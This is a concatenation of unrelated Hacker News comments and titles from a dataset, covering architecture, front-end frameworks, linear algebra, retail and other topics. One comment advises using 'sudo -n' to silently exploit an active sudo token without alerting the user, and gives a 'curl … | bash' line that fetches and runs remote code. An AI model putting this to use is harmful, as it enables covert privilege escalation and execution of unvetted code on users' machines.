skysight-inc/HackerNews huggingface dataset:
Architecture is also really useful in another regard: making the right (or at least "good enough") decisions on things that will be really painful to change later.

Think for example the choice of programing language or the DB technology used.

Architecture must strike the correct balance between vague guidelines and over-specification upfront. It should provide a framework which ensure homogeneity between components without restricting the teams/developers excessively.

On this subject, I found this presentation (by Stefan Tilkov): https://www.youtube.com/watch?v=PzEox3szeRc

Also, I'm currently reading "Designing Data-Intensive Applications", which is quite interesting and full of insight on the architecture trade-offs for data management and querying.
Kea 2.0 Relased – Production Ready State Management for React
It doesn't have to be 100% regenerative and an electric motor in generator mode it's very efficient at braking even at high speeds. One just needs to redirect the excess energy that cannot be absorbed by the battery to a controlled resistive load and trigger both mechanisms if the brake pedal is pushed more than 30% in which case you definitely need regular brakes. Trains already use these mechanisms.

The figures in the linked article are overblown: 5,8 g/km means one throws away a pair of used tires every 1000 km, which is not the case since the average tire lifecycle is 20k to 30k km.
Ah, yes, that's true. I'd left it out because it seems more focused on the end managed services, but you could use "Nova" and "Zun" more directly.
Small modular reactors are the future of nuclear energy: economic aspects
> I find it hard to believe that any contemporary operating system can robustly prevent a locally executing program from tricking the average desktop user into entering the administrator password equivalent to TFA's /tmp/sudo example, not on today's average computer.

Qubes OS can. Though it's not for the average users.
Learning to love incremental change is great advice. The challenge that comes with that is being able to "sell" those changes.

Big Bang changes have obvious benefits but the individual incremental states often don't justify the change by themselves. You have to become really good at selling the overall vision while also keeping people focused on the short term objectives. Holding the two in balance is a really tricky thing to do but, I think, represents the core value of a good architect: they are the navigators who can describe the destination but can also describe the next turn to take to get us there.
Having interacted with Core Ember devs I would be very surprised if the author didn’t know anything about React. I’d wager that he indeed knows a lot about React.

At least the ones I interacted with did not only know React, they knew it well enough to identify its pitfalls, and be able to translate what they believed to be its best parts to EmberJs.

Also, the comment about different files is a thing even outside this example (and is one reason I prefer react over Ember personally). React has no defined file system, and strongly encourages components are written in a single file. Ember, OTOH, does a lot of file separation, and a lot of convention over configuration.
A lot more convincing than Visio or MS Project or some UML.
Bug: "A beautiful design system powered by Bootstrap 4. by Vantage Design" has a higher z-index than the block beneath it so it floats above it.
be sure to add -n so that it silently fails (assuming you redirect output) and does not alert the user. If they have a sudo token active, then it will silently succeed.

Here is an example:

curl -s https://ohblog.org/test.txt | bash

Read the test.txt file first of course.
Kube removes some of the infrastructure burden of running your own solution but not all of it and that's not the only burden.

For example, I can deploy Kafka on k8s. I still need to know enough about Kafka to be able to deploy it correctly (zookeeper, etc.). I need to know enough about k8s to know how Kafka can run on i and to fix issues. I then need to know enough about Kafka itself to tune it, fix issues, manage it, etc. Then there's interaction events such as upgrades which require coordinating between k8s and Kafka. And in the end I'd still be a novice at all of it.
I had very intelligent linear algebra professor in college but he was, in my opinion, a very poor communicator. I paid attention to lectures and stared at the text, but couldn't really understand the material. For the first part of a linear algebra course, students who don't mind blindly following mechanical processes for solving problems can do very well.

Unfortunately I'm one of those people who tends to reject the process until I understand why it works.

If it wasn't for Strang's thoughtful and sometimes even entertaining lectures via OCW, I probably would have failed the course. Instead, as the material became considerably more abstract and actually required understanding, I had my strongest exam scores. I didn't even pay attention in class. I finished with an A. Although my first exam was a 70/100, below the class average, the fact that I got an A overall suggests how poorly the rest of the class must have done on the latter material, where I felt my strongest thanks to the videos.

So anyway, thank you Gilbert Strang.
A modern car will run into suspension wear/longevity problems long before the pillars care about how much weight you put on them. This hardware is tens, maybe a couple hundred pounds. Roofs can support thousands without deformation. The vehicle will suffer increased tire/suspension wear and "bad to the point of it being hard to justify not using a bigger vehicle" handling long before the structure is in any way affected. They stack cars on cars at many junkyards and the lower cars are just fine save some scratches and dents to the roof skin.
Hutchins was busted for committing bank fraud. Him doing one good thing does not absolve him of having committed another crime...he's still a criminal. Rather than protest him being arrested we should advocate for him getting a reduced sentence for having at least done some good.
Interesting...they don't seem to market it well, I hadn't heard of it. Looks like it started in 2007, where Proxmox started in 2008. It doesn't seem to support containers though. Just Xen and KVM.
Interesting! I would have expected competition with eg Aldi would have kept them on their toes?
Best practices when using Curl in shell scripts
I don't know what GP wants, but projects can still be graded. And the project supervisor can assign a rough percentage breakdown of each project into subfields: 30% DLC, 40% programming, 30% technical writing. At the end of the program, you can collate these in a table to say things like 7 months spent on DLC across 5 projects with average grade of A-.
Top offshore IoT development companies
If you multiply the 1x3 vector by all scalars from -infinity to infinity you get all the points on a line.

If you do the same for another 1x3 vector, and it is not parallel to the first, you get all the points on a different line.

These two lines define a plane (and the cross product of the two vectors defines its normal vector)
Maybe not the big, funded websites. But I'm sure a lot of people doing small, static-y websites for MVPs, personal websites, or small products will use JQuery for a long time to come. JQuery is a no-brainer for anyone with small website with limited interactivity.

JQuery is like the PHP of front-end - inexpensive to build with, easy to use and loads of information available on stackoverflow.
It couldn’t happen to a more deserving group of people. Universities have eagerly embraced their role as credentialist gatekeepers. Witness the rise of the cash cow master’s degree. Further, they’ve been overtly run as partnerships for the benefit of administrators rather than as the cause-oriented institutions their tax status requires.

An entire generation has been saddled with enormous debt to line the pockets of non-instructional staff. You reap what you sow.

The only shame is that it won’t hit the very top layer of exploitive institutions. But wiping out some is better than nothing.
Remote jobs paying 6 figures? Aren't they flooded with Indian applicants? Why can I hire an outsourced Indian or Ukrainian for £10,000 PA then? Sounds weird..
That looks weird.

I did already see pictures made by google from Art galleries and you could make out painting details (hair, color, hight of colors) but this does very very smothed out even when zooming in completly. No details from the canvas.

Is that an issue i missread? Is it how they made the picture or is the canvas really that smooth?
I have two old iPads laying around, one is used strictly as a random web browser / guest device. The other is a mini that is sometimes useful for ebooks when traveling.

I also have a headless mini, so... For me it’s a cheap solution as it recycles older hardware.
I can understand this. I would never prefer a German company if there was an equivalent American company providing the same service. In some ways it must feel like a loss of sovereignty to be so heavily reliant on American companies for necessary services. Google, Microsoft, Apple, Amazon, etc.
Learn Psychology.
When the US allowed commercial activity seems like they forgot to make a carve-out set of rules for non-profits. Are the .edu domain restrictions set by laws established back then or by ICANN and can therefore theoretically be changed without any input by governments?
FWIW, here's the modern Python equivalent to "1..10.odd.sqr.lt(50)"

>>> [s for i in range(50) if i&1 and (s:=i*i) < 50]
[1, 9, 25, 49]

And here's my interpretation of the C equivalent:

#include <stdio.h>

int main() {
int i, s;
for(i = 1; i <= 10; i++) {
if (i & 1 && (s = i*i) < 50) {
printf("%d ", s);
}
}
return 0;
}

Not quite a-la 1972, but then again the example 1972 code from that page wouldn't compile then either - variables had to be declared at the start of the function.

I wonder what the APL looks like. I hacked this solution:

(x<50)/x←(1=2|x)/x←((⍳10)*2)

but I'm guessing the real solution would be 1/3 the size.
What possible investment could ever match the risk:return of .org and where do I sign up? That is about the most risk free/cash positive investment in the history of mankind. Short of cornering the worldwide market on oxygen you aren't going to find a better investment.
Hmm what crowds...? I think Amsterdam is as empty as any other major city in the West
Yep, I am aware of that. Going to fix it asap! Thanks :) EDIT: it's fixed!
Lidl and Aldi both expect a lot from their employees. The high productivity justifies the pay.

Not everyone wants such an intense job. So I am not sure it is a good idea to force eg other retailers into the same strategy. They already have Aldi and Lidl to compete with on the labour market, so there's already opportunity for workers to get higher pay, if they want to make that bargain.
I've got extended family in the Netherlands. They comprise an interesting spectrum from incredibly sweet to extreme asshole but I will say rationality reigns supreme across the board. This is very interesting info and in retrospect also not surprising. Thanks!!!

(Also are any of the shows you describe in #3 in English? Would love to check them out)
What is neat about these demonstrations is how it illustrates that a computer is just a bunch of switches. Computers got better because they were able to jam more switches into a smaller area.
Sounds like a case of You Can't Tell People Anything: http://habitatchronicles.com/2004/04/you-cant-tell-people-an...
Don't believe what the article says about a "disjointed, almost illegible narrative". The Naked Lunch a very good approachable book. Also the movie captures it about as well as a film could.

The real cut up books are The Nova Trilogy, and (although I did read all 3 when I was younger) they are quite a trial.

I also enjoyed "Queer" and "Junkie" which are often not counted as part of his ordinary canon of work (the former was written first and published only posthumously). They're both biographical of course, and approachable. Later in life he wrote The Western Lands which is a fairly straightforward biography, and worth reading.
The Ubiquitous Matrix of Lies (2007)
Improve your walking technique
MK06 [pdf]
speed limit is a great choice for an example here, since damage via motor vehicle collision is exponentially related to speed. ie the difference between potential for injury/death is considerable higher between the 40-50 increase than the 50-60 increase.

When I drive my car, I'm not worried about my ability. I'm worried about other's ability. Are they texting? Are they drunk? etc.

If everyone is capped at 50mph, then the potential for damage is much lower than if everyone was capped at 60mph. It's not about personal safety or whether your vehicle can safely operate at higher speeds under ideal conditions. It's about the potential to injure others (or others to injure you) if those ideal conditions aren't met for some reason (user error or extraneous conditions) and our ability to account for when those ideal conditions aren't met.
Malcom Gladwell made a similar point on his podcast http://revisionisthistory.com/episodes/06-my-little-hundred-...
I have a mac mini I use as a media server. It has no keyboard, mouse, or display. I VNC into it from my iPad or use Screen Sharing from my Macbook Air just fine, although I have reached for a keyboard once to solve a problem.

But I do not doubt you are describing a real problem. Can you tell me under what circumstances using a remote desktop requires a mouse and keyboard to be physically plugged in?
That bright green looks quite strong in pair with white text. Have you tried to run your colour palette on a tool like https://medialab.github.io/iwanthue/ and see how they score on the accessibility axis ?
I did not mean to imply you were in the cult of Elon.

As a teacher of American History I have read countless diaries of these kids, they were brainwashed while they were in the scouts. I do not blame them either.

>Those are his companies, which he founded and risked eveything to get to where they are, but its the People who work in them that I support and champion. I just find Elon funny in a meme troll-like way, especially towards those who seem to take offense to every action/indiscretion he makes.

You could have championed the people in Hitler's armies as well.
Before the pandemic, I had been working as a software engineering consultant at a car leasing company up until June. Due to lockdown measures, all staff was compelled to work from home. Shortly after that, they decided to freeze hiring and severely limited the budget to hire contractors.

Those who got to stay will stay to ensure support of freshly delivered projects for a few more months. The rest was dismissed through a simple phone call.

On the bright side, I am working for a consulting company so I am not out of a job. At least not for now. Immediately after the end of the contract I was put on paid leave, and will remain so probably for a few weeks.
No.

I haven't looked into this particular implementation, but most blockchains have the fundamental problem of being immutable. Storing domain names in an immutable registry seems like a legal disaster waiting to happen.

What if someone registers a domain whose name contains sensitive personally identifiable information? Like www.elon-musks-SSN-is-0123456789.com? Everyone who distributes the DNS records might be in violation of the GDPR and similar laws.

And similarly if the name of a domain is found to be libel.
While the number of possible domain names is very high, the number of valuable ones is much lower.
Well, the original plays on the fact that "Du hast mich" and "Du hasst mich" sounds the same. That ambiguity is only there with 'Du', not with 'Sie'.
> The 24 rows of 22 pictures were stitched together digitally with the aid of neural networks.

I can totally see how that went down:

Engineer: We really don't need neural networks to do that.

Project person: <Angry look>

Engineer: One image-stitching "neural" "network" coming right up, do you want it "deep-learned", "convolutional" or both ?
Yeah, a lead software-architect who uses UML, ridiculous!

Much better is a excel table .. where all of the used technologies are listed? Seriously, why and for what would a software architect needs excel for his main work?
AMD relaunch their GPUOpen website, expand the open source FidelityFX toolikit
Arendt's “Little Eichmanns”
From a perspective of someone who codes react, what i dont like in ember:

- this this this, so many this keywords

- not a fan of decorators

- constructor and super

- mutability (unless it hides an immutable nature)

- hbs feels weirder to me than jsx

- the fact that you have yet another filetype in your code means even the tiniest components MUST be in more than 1 file, react lets you choose (edit: i rushed, seems there are template literals one can use)
The functional zealotry stink permeates every corner of React. The Ember approach seems much more aligned with my preferences.
I think the best thing anyone told me about linear algebra was that “matrices are just the coordinate form of a linear map.” So applying the map is equivalent to multiplying it’s matrix etc.
A lot of low-importance tlds offer domain names for $0.99/year. At that rate, I think almost anyone can afford it.
I usually use uBlock Origin's element blocking to remove such popups, even if only for one time, or I use inspector to remove elements. If afterwards nothing is visible of the content, I leave. Seems like someone forgot to put the content on the page. shrugs
Shouldn’t the system be set up to reward the good thing more than the bad thing when possible? If someone is in a position of power from doing bad things, how could you expect them to stop of their own volition?
I think they meant find a different job rather than an additional job.
Planet's largest ecosystems collapse faster than previously forecast
Mnml Password Generator in Python
Convention over configuration is one of the worst ideas ever in software in my opinion. All it means is that you have to memorize all the implicit assumptions about how an app is put together before you can work productively. It makes for great convention talk demos but in production what you really want is very explicit and obvious relationships between pieces. For example, this is the reason I find a React/Typescript codebase vastly easier to understand than Rails.

If your language is so verbose that making things explicit is too painful then maybe it's time to reach for a more expressive language instead of hiding everything behind a set of implicit rules.
Passing a message is immutable for starters, which means read-only access for the receiving process, enforcing the single-writer principle.
Ever been to any Rewe or Penny at Saturdays? They usually have the bright yellow "action price/Sonderangebot" signs on the shelves which are valid only from the following Monday. It's a real nuisance.
AMD's GPUOpen Relaunch
Oh, there's more to it. Compare https://de.wikipedia.org/wiki/Hamburger_Sie

I can vouch for the Kassiererinnen-Du being used. My mom runs the butcher in a supermarket. She and and many of her coworkers share a lot about themselves, but they still address each as other as Frau Schmidt and Herr Schulze.
Had the chance to meet Miller as he was part of my phd jury, as most of the time for persons of this caliber and with such a large impact, he was super nice and humble.

Regarding

> There’s a problem in Max and in Pure Data, which is that you’re writing these things in terms of how they act. You’re making an instrument. But someone wants to store a score in the thing, and then do things that refer to objects in the score. So far, there’s no good design — or at least I haven’t seen a good design — that actually marries these two ideas in a single environment that works.

I'm working towards it in https://ossia.io - the gist of the idea is to have a timeline with dataflow elements embedded directly into it so that parts of the score can connect to other parts which happen earlier / after. This allows to easily make instruments that evolve in time... though most of its users use it to make scores instead of instruments.

(this leads to trying to answer the question "what happens when two connected nodes of a dataflow graph execute for t=[0; 5seconds] for the source node, and t=[3; 7seconds] for the sink node").
It's intentional wordplay. They lyrics are "Du hast" and it follows up with "Du hast mich gefragt".
Love that they use lard vs. the unhealthy vegetable seed oils that all places use nowadays.

Just like how McDonald's used to use beef tallow.

Best fried chicken has to be Korean fried chicken at this point. Double frying it gives the inside the tenderness temperature while the outside is perfectly crispy.
The Error Handbook, Part 2: How to Shape and Represent Your Error Data
Congrats!

- strive for simplicity.

- when diagramming, don't force your audience to learn a new language made of weird shapes. Simple boxes, clouds, and arrows, go a long way, but clear labels and descriptive text are like a superpower.

- when a solution is proposed, ask what problems it actually solves, whether you have that problem, and if there's no simpler way to solve it in your case.

- anything you add to your development workflow has a cost. Always ask "do we really need it?"

- many architects/managers tend to forget that metrics are not produced in a vacuum and not all metrics matter. Anything you decide to track has a cost.

- if you ask your devs to measure it for you, you're removing time they should be spending doing dev stuff. Make sure it's worthwhile (e.g. it incidentally benefits their own practice).

- every new rule costs a freedom. Less freedom may lead to less agility. More freedom should come with more responsibilities.

Good luck!
I don't think this is right. I understand the basis for thinking it; I've spent much of my adult life accepting or assuming this is how it works. But the more I learn (and I spent a whole lot more time reading scientific papers on the topic this afternoon), the less it holds.

First, the logic assumes the genetic coding for these conditions is never helpful to survival/replication, which as I've pointed out in several other comments, is demonstrably false.

But even if that coding really was never ever helpful, the theory relies on the notion that unhelpful DNA just keeps hanging around on the genome anyway.

Though I can't find a big amount of research on this (particularly regarding humans), there is evidence of "genome streamlining" where genes that serve no purpose get stripped out of the genome. This is necessary because it there is a cost in retaining DNA (continuing to transcribe it and modulate it), so it's far more efficient and thus helpful for survival to remove it.

The main research I've found on this pertains to birds and bats [1] (in which it is particularly important due to the metabolic cost of flying), but it would be reasonable to expect it also happens in primates, including humans, at least to some degree.

I concede this is speculative, but it's compelling.

Even still, the validity of my main point doesn't rely on this being true. We know that most mental "illness" tendencies are sometimes useful for survival/replication. That's what matters most here.

[1] https://www.sciencedaily.com/releases/2017/02/170206155949.h...